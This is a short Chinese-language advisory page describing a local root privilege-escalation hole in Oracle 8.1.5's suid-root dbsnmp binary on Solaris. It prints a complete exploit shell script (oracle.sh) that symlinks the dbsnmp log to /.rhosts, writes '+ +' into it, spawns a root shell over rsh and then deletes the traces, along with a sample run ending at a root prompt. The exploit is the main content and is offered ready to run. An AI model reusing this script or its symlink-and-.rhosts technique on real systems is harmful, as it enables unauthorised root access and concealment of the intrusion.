来源:作者: 发布时间:2007-11-21 13:26:00


综述:
Oracle 8.1.5 for UN*X存在普通用户能够得到root权限的漏洞。
检验环境:
Oracle 8.1.5 on Solaris 2.6 SPARC 版本。
漏洞周详描述:
假如没有配置ORACLE_HOME,运行dbsnmp(缺省配置suid root/sgid dba)时会在
当前目录下产生两个log文
件:dbsnmpc 和 dbsnmpt 。假如这两个文档不存在,dbsnmpd将会创建属性为666、大
小为400字节左右这两个文
件。假如这两个文档存在,dbsnmp将不改变此文档属性,并将400字节左右的输出内容
附加到这两个文档中。如
果root没有配置.rhosts文档,就能够通过创建一个/tmp/dbsnmpc 到 /.rhosts的符号
连接来得到root权限。
检验程式:
oracle8% uname -a; id
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
SUNW,Ultra-5_10
uid=102(btellier) gid=10(staff)
oracle8% /tmp/oracle.sh
couldn’t read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
#
--- oracle.sh ---
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You’ll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost ’sh -i’
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
|
还没有关于此文章的相关评论!